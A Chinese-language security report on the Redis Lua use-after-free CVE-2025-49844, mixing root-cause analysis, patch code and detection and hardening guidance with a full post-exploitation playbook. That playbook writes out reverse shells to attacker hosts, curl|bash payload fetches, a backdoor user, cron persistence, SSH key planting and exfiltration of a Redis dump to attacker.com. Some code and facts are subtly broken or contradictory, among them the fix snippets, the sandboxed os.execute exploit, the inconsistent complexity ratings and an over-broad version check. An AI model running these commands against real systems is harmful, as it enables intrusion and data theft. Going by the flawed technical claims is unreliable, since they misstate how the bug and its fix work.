漏洞类型: Use-After-Free (UAF) in Lua Interpreter → Remote Code Execution
影响范围: 所有支持Lua脚本的Redis版本(约13年)
状态: 已修复,需立即升级
CVE-2025-49844,代号"RediShell",是Redis数据库中发现的一个严重安全漏洞,允许已认证的攻击者通过特制的Lua脚本实现远程代码执行。该漏洞存在超过13年,影响所有支持Lua脚本的Redis版本,CVSS评分达到10.0的最高严重级别。
发现者: Wiz研究团队
报告时间: 2025年5月16日
公开时间: 2025年10月3日
攻击前置条件: 需要Redis认证权限和Lua脚本执行能力
现实威胁: 约33万个Redis实例暴露在互联网,其中6万个未启用认证
修复版本: Redis 6.2.20, 7.2.11, 7.4.6, 8.0.4, 8.2.2及更高版本
Redis是一个开源的内存数据结构存储系统,常用作数据库、缓存和消息代理。它支持多种数据结构,如字符串、哈希、列表、集合等。Redis以其高性能和丰富的功能特性而闻名,被广泛应用于各种场景中。
Redis从2.6版本开始引入Lua脚本支持,允许用户编写Lua脚本在服务器端执行。这提供了:
原子性: 脚本执行过程中不会被其他命令中断
性能: 减少网络往返时间
功能扩展: 实现复杂的数据操作逻辑
Redis嵌入的是Lua 5.1解释器,运行在沙箱环境中,理论上限制了Lua脚本的系统访问能力。
客户端发送EVAL或EVALSHA命令
Redis解析Lua脚本
创建Lua虚拟机环境
执行脚本逻辑
返回结果给客户端
2025年5月16日: Wiz研究团队在Pwn2Own Berlin场景中发现漏洞并向Redis私有报告
2025年5月-9月: Redis团队与Wiz合作进行漏洞分析和修复开发
2025年10月3日: Redis发布安全公告和修复版本
Redis 6.2.20
Redis 7.2.11
Redis 7.4.6
Redis 8.0.4
Redis 8.2.2
2025年10月3日: GitHub Security Advisory (GHSA-4789-qfc9-5f9q) 发布
2025年10月6日: Wiz发布公开研究报告,命名为"RediShell"
2025年10月7日: 多家安全厂商发布分析和预警
2025年10月下旬: 各云服务商完成托管服务修复
2025年10月27/30日: Redis Software企业版发布具体修复版本
Redis开源版本:
Redis < 6.2.20
Redis < 7.2.11
Redis < 7.4.6
Redis < 8.0.4
Redis < 8.2.2
Redis企业版:
< 7.22.2-20
< 7.8.6-207
< 7.4.6-272
< 7.2.4-138
< 6.4.2-131
Valkey (Redis分支):
Valkey < 7.2.11
Valkey < 8.0.6
Valkey < 8.1.4
互联网暴露实例: 约330,000个
未认证实例: 约60,000个
云环境使用率: 75%
容器化部署: 57%
数据泄露: 可访问Redis中存储的所有数据
服务中断: 可能导致Redis服务崩溃
系统控制: 获得宿主机的完整控制权
横向移动: 作为攻击其他系统的跳板
Redis采用jemalloc作为其主要的内存分配器,这是一个高性能的内存管理库,提供:
内存池管理: 通过内存池减少内存碎片并优化性能
动态内存分配: 根据需要动态调整内存分配策略
垃圾回收优化: 高效的内存回收机制
/* Redis 内存分配函数,使用 jemalloc 进行内存分配 */
void *redis_malloc(size_t size) {
return malloc(size); // jemalloc 实际上替换了 malloc 函数
}
/* Redis 内存释放函数,释放对象内存 */
void redis_free(void *ptr) {
free(ptr); // jemalloc 执行内存回收
}
Lua引擎拥有独立的内存管理系统,通过luaM_malloc函数进行内存分配:
/* Lua 引擎中的内存分配函数 */
void *luaM_malloc(lua_State *L, size_t size) {
return malloc(size); // Lua 引擎通过 malloc 分配内存
}
/* Lua 引擎管理内存对象的结构 */
typedef struct TString {
size_t len;
char *str;
} TString;
/* Lua 引擎创建新字符串对象 */
TString *luaS_new(lua_State *L, const char *str) {
size_t len = strlen(str);
TString *ts = (TString *) luaM_malloc(L, sizeof(TString) + len + 1);
ts->len = len;
memcpy(ts->str, str, len + 1);
return ts;
}
CVE-2025-49844的核心问题是Redis嵌入的Lua 5.1解释器中的内存管理缺陷,具体表现为Redis内存管理与Lua引擎之间的交互错误。
Lua引擎分配内存时,某些内存对象(如脚本名称、字符串)并没有在Redis的内存池中被正确管理。当Lua对象被创建后,如果没有被引用,它们会被垃圾回收器回收。此时,Redis的内存池中的TString对象被释放,但Lua引擎继续尝试访问这些已经释放的内存区域。
问题位置:deps/lua/src/lparser.c中的luaY_parser()函数
根本机制:
/* 易受攻击的代码逻辑(简化版) */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
// 为chunk name创建TString对象
TString *tname = luaS_new(L, name);
// 关键缺陷:TString未被压栈锚定,不是GC根对象
luaX_setinput(L, &ls, z, tname);
// 在解析过程中,如果触发垃圾回收...
// tname可能被提前释放,但解析器仍持有其指针
// 后续解引用形成Use-After-Free
return &ls;
}
内存分配流程问题:
Lua引擎通过luaS_new()创建TString对象
该对象在Lua栈中没有被正确锚定
jemalloc在垃圾回收时释放了该对象
词法器/解析器仍然持有已释放对象的指针
访问已释放内存导致Use-After-Free
修复后的安全逻辑:
/* 修复后的安全逻辑 */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
TString *tname = luaS_new(L, name);
// 关键修复:将TString压栈锚定,成为GC根对象
setsvalue2s(L, L->top, tname); // 压栈
incr_top(L); // 提升栈顶
luaX_setinput(L, &ls, z, tname);
// 解析完成后安全弹栈
L->top--;
return &ls;
}
官方修复原理:
/* 修复前:Lua 对象未保持有效引用,可能被垃圾回收 */
TString *tname = luaS_new(L, name);
luaX_setinput(L, name);
/* 修复后:Lua 对象在回收前强制保持引用 */
lua_pushstring(L, name); /* 压栈并延长生命周期 */
TString *tname = luaS_new(L, name);
luaX_setinput(L, name);
lua_pop(L, 1); /* 清理栈 */
TString未锚定: Redis在调用Lua解析器时为脚本名创建TString对象,但未将其压栈锚定
GC竞态条件: 在解析过程中,如果触发垃圾回收,jemalloc可能提前释放未锚定的TString
UAF发生: 词法器/解析器仍持有已释放TString的指针,形成Use-After-Free
沙箱逃逸: 攻击者通过精确的内存布局控制,利用UAF突破Lua沙箱限制
RCE实现: 最终在宿主机上执行任意代码
攻击者通过构造特制的Lua脚本来控制内存分配和垃圾回收的时序:
-- 攻击者构造的 Lua 脚本(触发 Use-After-Free 错误)
local script_name = "malicious_script" -- 创建脚本名称
local script_data = "os.execute('bash -i >& /dev/tcp/attacker_ip/4444 0>&1')" -- 反向 shell
-- Redis 执行恶意脚本,导致 Lua 引擎访问已释放的内存
redis.call('EVAL', script_data, 0)
-- 脚本执行后 Lua 对象的内存已被回收,但 Lua 引擎继续访问并执行命令
local result = redis.call('EVAL', script_name, 0)
通过利用Lua中的Use-After-Free错误,攻击者能够:
逃逸Lua沙箱的内存限制
获得对宿主机内存的访问权限
执行系统级命令
建立持久化的反向连接
-- Lua 执行反向连接的示例
os.execute("bash -i >& /dev/tcp/attacker_ip/4444 0>&1")
对象生命周期: TString对象的生命周期管理不当,存在过早释放的问题
GC时机: 垃圾回收在对象仍在使用时触发,特别是在Lua解析过程中
引用管理: 缺乏有效的引用计数或锚定机制来保护关键对象
内存分配器隔离: Redis的jemalloc和Lua引擎的内存管理器之间存在隔离
回收同步问题: 两个内存管理系统之间的垃圾回收同步机制不完善
对象追踪: 缺乏跨系统的对象生命周期追踪机制
// 问题代码的深层分析
// 在luaY_parser函数中,TString对象创建后:
TString *tname = luaS_new(L, name); // 1. Lua引擎分配内存
// 问题:该对象没有在Lua栈中被锚定
luaX_setinput(L, &ls, z, tname); // 2. 传递给词法器使用
// 危险:在解析过程中,如果触发GC,tname可能被释放
// 但词法器仍然持有tname指针
安全隔离: Lua脚本应该在受控的沙箱环境中执行
权限限制: 沙箱限制了文件系统访问、网络操作等系统调用
资源控制: 限制CPU和内存使用,防止恶意脚本消耗过多资源
内存边界: 沙箱通过内存隔离来保护宿主系统
API限制: 禁用危险的系统调用和函数
逃逸路径: UAF漏洞提供了绕过沙箱内存限制的途径
权限提升: 通过内存破坏可以获得更高的执行权限
// 沙箱逃逸的技术原理
// 1. UAF破坏了内存隔离
// 2. 攻击者可以控制已释放内存的内容
// 3. 通过精心构造的内存布局,劫持控制流
// 4. 绕过Lua沙箱的限制,执行任意代码
// 典型的逃逸载荷示例
os.execute("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");
解析时序: 解析过程中的内存管理时序错误
GC竞争: 垃圾回收与解析操作的竞争条件
异步清理: 内存清理与对象使用的异步性导致的问题
解析器状态: 解析器状态与GC状态不同步
对象引用: 对象引用计数的不一致性
生命周期: 对象生命周期管理的混乱
清理策略: 缺乏适当的资源清理策略
错误处理: 内存分配失败时的错误处理不完善
恢复机制: 内存损坏后的恢复机制缺失
EVAL命令: 通过EVAL命令直接执行恶意Lua脚本
EVALSHA命令: 通过缓存的脚本SHA1值执行
SCRIPT LOAD: 预加载恶意脚本到Redis缓存
FUNCTION/FCALL: Redis 7.0+的函数引擎也是攻击面
网络访问: 能够连接到目标Redis实例
认证绕过: 拥有有效的认证凭据或目标未启用认证
脚本权限: 具备Lua脚本执行权限
时序控制: 能够精确控制内存分配和垃圾回收的时序
技术门槛: 中等,需要理解Lua和Redis内部机制
实施难度: 高,需要精确的时序控制
成功率: 在满足前置条件下较高
EVAL- 执行Lua脚本
EVALSHA- 执行缓存的Lua脚本
SCRIPT LOAD- 加载Lua脚本到缓存
FUNCTION/FCALL- Redis 7.0+的函数引擎
能够连接到Redis服务器
拥有有效的认证凭据(或实例未启用认证)
具备Lua脚本执行权限
能够精确控制内存分配时序
攻击向量: 远程网络攻击
攻击复杂度: 中等(需要时序控制)
权限要求: 低(需要Redis认证)
用户交互: 不需要
攻击者 → 网络侦察 → Redis认证 → 特制Lua脚本 → 内存操作触发 → 解析期UAF → Lua沙箱逃逸 → 宿主机RCE → 持久化控制
端口扫描和指纹识别
# 识别Redis实例
nmap -p 6379 --script redis-info target.com
# 版本识别
redis-cli -h target.com INFO server
配置分析
确定Redis版本和配置
检查认证状态(AUTH/ACL)
评估网络暴露情况
权限评估
测试默认账户和弱口令
检查ACL配置和权限设置
验证Lua脚本执行能力
认证绕过或利用
# 尝试弱口令
redis-cli -h target.com -a password123
# 利用未认证的实例
redis-cli -h target.com -p 6379
Lua执行能力验证
-- 测试基本Lua功能
return "Lua script execution test"
-- 验证系统调用限制
return os.execute("echo test")
攻击环境准备
收集目标系统信息
准备恶意载荷
设置监听环境
构造内存压力脚本
-- 创建大量临时对象制造内存压力
local function create_memory_pressure()
local tables = {}
for i = 1, 1000 do
local large_str = string.rep("A", 10000)
table.insert(tables, large_str)
end
return tables
end
控制垃圾回收时序
-- 精确控制GC触发时机
for i = 1, 100 do
local chunk_name = string.format("exploit_chunk_%d", i)
local code = string.format("return '%s'", chunk_name)
-- 在适当时机触发GC
if i % 10 == 0 then
collectgarbage("collect")
end
local func, err = load(code, chunk_name)
if func then func() end
end
UAF条件触发
-- 触发Use-After-Free的关键操作
local function trigger_uaf()
local chunk_names = {}
for j = 1, 10 do
local name = "uaf_trigger_" .. j
local code = "return '" .. name .. "'"
table.insert(chunk_names, {name = name, code = code})
end
for _, chunk in ipairs(chunk_names) do
local func, err = loadstring(chunk.code, chunk.name)
if func then
local result = func()
-- 强制GC释放未锚定的对象
collectgarbage("collect")
end
end
end
内存布局控制
通过UAF控制关键内存区域
劫持函数指针和控制流
破坏Lua沙箱的内存隔离
系统命令执行
-- 沙箱逃逸后执行系统命令
-- 建立反向连接
os.execute("bash -i >& /dev/tcp/attacker_ip/4444 0>&1")
-- 下载并执行恶意载荷
os.execute("curl -s http://attacker.com/payload.sh | bash")
-- 添加后门用户
os.execute("useradd -p $(openssl passwd -1 password) backdoor")
权限提升
# 利用系统漏洞提升权限
# 搜索本地提权漏洞
searchsploit privilege escalation
# 利用内核漏洞
./exploit_kernel_vuln
建立持久化访问
# 添加SSH密钥
mkdir -p ~/.ssh
echo "attacker_ssh_public_key" >> ~/.ssh/authorized_keys
# 创建定时任务
echo "*/5 * * * * curl -s http://attacker.com/check.sh | bash" | crontab -
# 安装rootkit
./install_rootkit.sh
数据窃取
# 转储Redis数据
redis-cli --rdb /tmp/dump.rdb
# 搜索敏感文件
find / -name "*.conf" -o -name "*.key" -o -name "*.pem" 2>/dev/null
# 收集系统信息
ps aux | grep redis
netstat -tlnp
横向移动
# 扫描内网其他Redis实例
nmap -sV 192.168.1.0/24 -p 6379
# 利用SSH密钥移动
ssh -i private_key user@target2
# 利用Redis凭证传播
redis-cli -h target2 -a stolen_password
-- 简单的反向连接
os.execute("bash -i >& /dev/tcp/attacker.com/4444 0>&1")
-- 下载并执行复杂恶意软件
os.execute([[
wget -q http://attacker.com/advanced_payload.tar.gz -O /tmp/payload.tar.gz &&
cd /tmp &&
tar -xzf payload.tar.gz &&
nohup ./payload.bin > /dev/null 2>&1 &
rm -f payload.tar.gz
]])
-- 转储敏感数据到攻击者服务器
os.execute([[
redis-cli --rdb /tmp/redis_dump.rdb &&
curl -F "file=@/tmp/redis_dump.rdb" http://attacker.com/upload.php &&
rm -f /tmp/redis_dump.rdb
]])
技术因素
Redis版本和配置
系统内存管理策略
编译器和架构差异
环境因素
网络延迟和稳定性
系统负载和资源可用性
安全软件和监控 presence
攻击者因素
对漏洞机制的理解程度
内存操作和控制能力
载荷设计和执行技巧
Docker 20.10+
Redis 8.2.1 (易受攻击版本)
Redis 8.2.2 (修复版本)
隔离的网络环境
version: '3.8'
services:
redis-vulnerable:
image: redis:8.2.1
container_name: redis-vulnerable
ports: ["6379:6379"]
command: ["redis-server", "--protected-mode", "no", "--bind", "0.0.0.0"]
redis-fixed:
image: redis:8.2.2
container_name: redis-fixed
ports: ["6380:6379"]
command: ["redis-server", "--protected-mode", "no", "--bind", "0.0.0.0"]
-- CVE-2025-49844 概念验证脚本
-- 仅用于安全研究和授权测试
local function create_memory_pressure()
local tables = {}
for i = 1, 100 do
local large_str = string.rep("A", 10000)
table.insert(tables, large_str)
end
return tables
end
local function test_chunk_names()
local chunk_names = {
"test_chunk_1",
"long_chunk_name_" .. string.rep("x", 100),
"chunk_with_special_chars_!@#$%^&*()",
"unicode_chunk_name_中文测试"
}
for i, name in ipairs(chunk_names) do
local code = string.format("return '%s'", name)
collectgarbage("collect") -- 强制垃圾回收
local func, err = load(code, name)
if func then
local result = func()
print(string.format("Chunk name test %d: %s -> %s", i, name, result))
end
end
end
return test_chunk_names()
仅在隔离环境中测试
不要在生产环境运行PoC
确保测试网络与生产网络隔离
测试完成后立即清理环境
快速检查命令:
# 检查Redis版本
redis-cli INFO server | grep redis_version
# 检查是否为易受攻击版本
redis-cli --version | grep -E "6\.2\.[0-9]|7\.[0-4]\.|8\.[0-1]\."
自动化检测脚本:
#!/bin/bash
# CVE-2025-49844 检测脚本
VULNERABLE_VERSIONS=(
"6.2.19" "6.2.18" "7.2.10" "7.4.5" "8.0.3" "8.2.1"
)
check_redis_version() {
local host=$1
local port=$2
version=$(redis-cli -h $host -p $port INFO server 2>/dev/null |
grep "redis_version:" | cut -d: -f2 | tr -d '\r')
if [[ "$version" == *"6.2"* ]] || [[ "$version" == *"7."* ]] ||
[[ "$version" == *"8.0"* ]] || [[ "$version" == *"8.1"* ]] ||
[[ "$version" == *"8.2.1"* ]]; then
echo "❌ 易受攻击的版本: $version"
return 1
else
echo "✅ 安全版本: $version"
return 0
fi
}
Redis日志监控:
# 监控Lua脚本执行
redis-cli MONITOR | grep -E "(EVAL|EVALSHA|SCRIPT|FUNCTION)"
# 检查异常的脚本执行频率
grep "EVAL\|EVALSHA" /var/log/redis/redis-server.log |
awk '{print $1}' | sort | uniq -c | sort -nr
系统级监控:
# 监控Redis进程的异常行为
ps aux | grep redis-server
# 检查Redis进程的子进程
pstree -p $(pgrep redis-server)
# 监控网络连接
netstat -tlnp | grep 6379
lsof -i :6379
Splunk查询:
index=os sourcetype=redis
| search ("EVAL" OR "EVALSHA" OR "SCRIPT LOAD" OR "FUNCTION")
| stats count by host, src_ip, user
| where count > 10
| eval risk_score = case(count > 100, "高", count > 50, "中", count > 10, "低")
| table host, src_ip, count, risk_score
Falco安全规则:
- rule: Redis Spawned Shell
desc: Detect shell spawned from redis-server (possible sandbox escape)
condition: >
spawned_process and
proc.pname in (redis-server) and
proc.name in (sh, bash, dash, zsh)
output: "Redis spawned shell (user=%user.name proc=%proc.name parent=%proc.pname cmd=%proc.cmdline)"
priority: CRITICAL
Ubuntu/Debian:
# 更新包列表
sudo apt update
# 升级Redis到最新版本
sudo apt install redis-server
# 验证版本
redis-server --version
Docker环境:
# 更新到修复版本
docker pull redis:8.2.2
# 重新创建容器
docker stop redis-container
docker rm redis-container
docker run -d --name redis-container redis:8.2.2
ACL禁用脚本执行:
# 连接到Redis
redis-cli
# 禁用默认用户的脚本权限
ACL SETUSER default on +@all -@scripting -eval -evalsha
# 或创建受限用户
ACL SETUSER restricted_user on >StrongPassword123 +@read +@write -@scripting
# 验证权限
ACL DRYRUN restricted_user EVAL "return 1" 0
重命名危险命令:
# 在redis.conf中添加
rename-command EVAL ""
rename-command EVALSHA ""
rename-command SCRIPT ""
rename-command FUNCTION ""
rename-command FCALL ""
# 重启Redis服务
sudo systemctl restart redis
防火墙规则:
# 使用iptables限制Redis访问
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP
# 保存规则
sudo iptables-save > /etc/iptables/rules.v4
TLS加密配置:
# 生成证书
openssl req -x509 -newkey rsa:2048 -keyout redis.key -out redis.crt -days 365 -nodes
# 配置redis.conf
tls-port 6380
port 0
tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt
强制认证:
# 在redis.conf中设置强密码
requirepass "YourVeryStrongPassword2025!"
# 或使用ACL用户
ACL SETUSER admin on >AdminPassword2025 +@all
# 启用保护模式
protected-mode yes
bind 127.0.0.1 10.0.0.1
Redis监控配置:
# 在redis.conf中启用监控
logfile /var/log/redis/redis-server.log
loglevel notice
syslog-enabled yes
# 启用慢查询日志
slowlog-log-slower-than 10000
slowlog-max-len 128
容器安全:
FROM redis:8.2.2
# 创建非root用户
RUN groupadd -r redis && useradd -r -g redis redis
# 设置正确权限
RUN mkdir -p /data && chown -R redis:redis /data
# 切换到非root用户
USER redis
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD redis-cli ping || exit 1
Redis开源版本:
6.2.20 (2025-10-03)
7.2.11 (2025-10-03)
7.4.6 (2025-10-03)
8.0.4 (2025-10-03)
8.2.2 (2025-10-03)
Redis企业版:
7.22.2-20+
7.8.6-207+
7.4.6-272+
7.2.4-138+
6.4.2-131+
Valkey:
7.2.11+
8.0.6+
8.1.4+
立即升级: 升级到最新修复版本
测试验证: 在测试环境验证修复效果
生产部署: 分批次升级生产环境
监控观察: 升级后密切监控服务状态
修复位于deps/lua/src/lparser.c文件中的luaY_parser函数:
/* 易受攻击的原始代码 */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
struct FuncState fs;
TString *tname = luaS_new(L, name); // 创建TString对象
// 关键问题:tname没有被压栈锚定
luaX_setinput(L, &fs, z, tname); // 传递给词法器
// 在解析过程中,如果触发GC,tname可能被释放
// 但词法器仍然持有tname指针,形成UAF
// ...
return &fs;
}
/* 修复后的安全代码 */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
struct FuncState fs;
TString *tname = luaS_new(L, name); // 创建TString对象
// 关键修复:将TString压栈锚定,成为GC根对象
setsvalue2s(L, L->top, tname); // 压栈操作
incr_top(L); // 提升栈顶
luaX_setinput(L, &fs, z, tname); // 安全传递给词法器
// 现在tname被栈引用,GC不会回收它
// ...
// 解析完成后安全弹栈
L->top--;
return &fs;
}
/* 另一种修复方式 - 使用lua_pushstring */
LexState *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, const char *name) {
struct FuncState fs;
// 先将name压栈,确保不会被GC回收
lua_pushstring(L, name); // 压栈延长生命周期
TString *tname = luaS_new(L, name); // 创建TString对象
luaX_setinput(L, &fs, z, tname); // 传递给词法器
// 解析过程...
lua_pop(L, 1); // 清理栈,弹出一个元素
return &fs;
}
栈锚定机制: 通过将TString对象压入Lua栈,确保其在垃圾回收时被视为可达对象
GC根对象: 栈中的对象被标记为GC根对象,不会被垃圾回收器回收
生命周期延长: 对象的生命周期被延长到解析完成之后
// 修复前:危险的内存管理
TString *tname = luaS_new(L, name);
luaX_setinput(L, &ls, z, tname);
// 危险:tname可能被GC回收,但ls仍然持有指针
// 修复后:安全的内存管理
TString *tname = luaS_new(L, name);
setsvalue2s(L, L->top, tname); // 栈引用保护
incr_top(L); // 确保引用有效
luaX_setinput(L, &ls, z, tname);
// 安全:tname被栈保护,不会被GC回收
L->top--; // 解析完成后释放引用
栈操作开销: 压栈和弹栈操作的性能开销极小(微秒级)
内存使用: 临时增加的栈使用量很小(通常几十字节)
兼容性: 修复完全向后兼容,不影响现有功能
#!/bin/bash
# 补丁代码审查脚本
echo "=== CVE-2025-49844 修复代码审查 ==="
# 检查修复是否应用
REPAIR_FILE="/path/to/redis/src/deps/lua/src/lparser.c"
if [ -f "$REPAIR_FILE" ]; then
echo "检查修复代码..."
grep -A 10 -B 5 "setsvalue2s\|lua_pushstring" "$REPAIR_FILE"
# 检查是否包含关键的栈操作
if grep -q "setsvalue2s.*L->top.*tname" "$REPAIR_FILE"; then
echo " 发现关键修复代码:setsvalue2s栈锚定"
elif grep -q "lua_pushstring.*name" "$REPAIR_FILE"; then
echo " 发现替代修复代码:lua_pushstring保护"
else
echo " 未发现修复代码,可能存在风险"
fi
else
echo " 找不到源码文件,请确认Redis安装路径"
fi
#!/bin/bash
# 补丁功能验证脚本
echo "=== CVE-2025-49844 修复功能验证 ==="
# 1. 版本检查
version=$(redis-cli INFO server 2>/dev/null | grep "redis_version:" | cut -d: -f2 | tr -d '\r')
if [ -n "$version" ]; then
echo "Redis版本: $version"
# 检查是否为修复版本
if [[ "$version" =~ ^(6\.2\.2[0-9]|7\.2\.1[1-9]|7\.4\.[6-9]|8\.0\.[4-9]|8\.2\.[2-9]|8\.[3-9]\.) ]]; then
echo " 版本已修复"
else
echo " 版本可能易受攻击,建议升级"
fi
else
echo " 无法连接到Redis服务"
exit 1
fi
# 2. 安全配置检查
echo "检查安全配置..."
redis-cli CONFIG GET requirepass 2>/dev/null | tail -1
redis-cli CONFIG GET protected-mode 2>/dev/null | tail -1
# 3. 权限检查
echo "检查脚本权限..."
if redis-cli ACL DRYRUN default EVAL "return 1" 0 2>/dev/null | grep -q "OK"; then
echo " 警告:默认用户仍可执行脚本"
else
echo " 脚本执行权限已限制"
fi
# 4. 连接测试
if redis-cli ping 2>/dev/null | grep -q "PONG"; then
echo " Redis服务正常"
else
echo " Redis服务异常"
fi
echo "验证完成"
#!/bin/bash
# PoC对比验证脚本(仅在授权环境使用)
echo "=== PoC对比验证测试 ==="
VULNERABLE_HOST="localhost"
VULNERABLE_PORT=6379
FIXED_HOST="localhost"
FIXED_PORT=6380
# 测试易受攻击版本
echo "测试易受攻击版本 (Redis 8.2.1)..."
if redis-cli -h $VULNERABLE_HOST -p $VULNERABLE_PORT ping 2>/dev/null | grep -q "PONG"; then
echo "易受攻击版本可访问"
# 在这里可以运行PoC脚本(仅在授权环境)
else
echo "易受攻击版本不可访问"
fi
# 测试修复版本
echo "测试修复版本 (Redis 8.2.2)..."
if redis-cli -h $FIXED_HOST -p $FIXED_PORT ping 2>/dev/null | grep -q "PONG"; then
echo "修复版本可访问且稳定"
# 验证修复效果
else
echo "修复版本不可访问"
fi
完全消除UAF风险: 通过栈锚定彻底解决了Use-After-Free问题
保持沙箱完整性: 确保Lua沙箱的内存隔离不被破坏
向后兼容性: 修复不破坏现有功能和API
CPU开销: 栈操作的开销可忽略不计(< 0.1%)
内存开销: 临时增加的栈使用量极小
网络延迟: 对整体性能影响微乎其微
API兼容: 所有现有的Lua脚本API保持不变
配置兼容: Redis配置文件无需修改
客户端兼容: 所有Redis客户端无需更新
CVSS评分: 10.0 (Critical)
攻击向量: 网络 (N)
攻击复杂度: 低 (L)
权限要求: 低 (L)
用户交互: 不需要 (N)
影响范围: 已改变 (C)
机密性影响: 高 (H)
完整性影响: 高 (H)
可用性影响: 高 (H)
直接影响:
数据泄露风险
服务中断可能
系统完全被控制
横向移动威胁
间接影响:
合规性违规
业务声誉损害
经济损失
客户信任度下降
高风险环境:
公网暴露的Redis实例
未启用认证的服务器
关键业务系统
敏感数据存储
中风险环境:
内网暴露但有限制的实例
启用认证但权限过宽的配置
非核心业务系统
低风险环境:
完全隔离的测试环境
严格访问控制的生产环境
已禁用Lua功能的实例
CVE-2025-49844 "RediShell"是一个影响深远的严重安全漏洞,存在时间超过13年,影响所有使用Lua脚本的Redis实例。虽然利用需要认证权限,但考虑到互联网上大量未认证或弱认证的Redis实例,现实威胁非常严重。
漏洞本质: Lua解释器中的TString对象内存管理缺陷
触发机制: 解析期垃圾回收导致的Use-After-Free
影响范围: 所有支持Lua脚本的Redis版本
修复方案: 通过栈锚定确保对象生命周期管理
24小时内必须完成:
立即升级到修复版本 (6.2.20/7.2.11/7.4.6/8.0.4/8.2.2+)
或通过ACL禁用@scripting权限
验证所有生产实例版本和配置
1周内完成:
实施网络隔离和访问控制
部署监控和检测规则
进行安全扫描和配置审计
长期策略:
建立Redis安全基线
定期安全评估和渗透测试
完善应急响应计划
最小权限原则: 严格按照业务需求分配权限
网络分段: 将Redis部署在受信任的网络环境中
加密通信: 启用TLS加密保护数据传输
持续监控: 实施异常检测和告警机制
定期更新: 保持Redis版本更新和安全补丁
通过采取全面的安全措施,组织可以有效防范此类漏洞的威胁,保护Redis数据和基础设施的安全。建议将Redis安全纳入整体安全治理框架,建立持续的漏洞管理和风险监控机制。
本报告基于公开的安全研究和技术分析编写,仅用于教育和防御目的。请在使用任何安全工具或技术前确保获得适当的授权。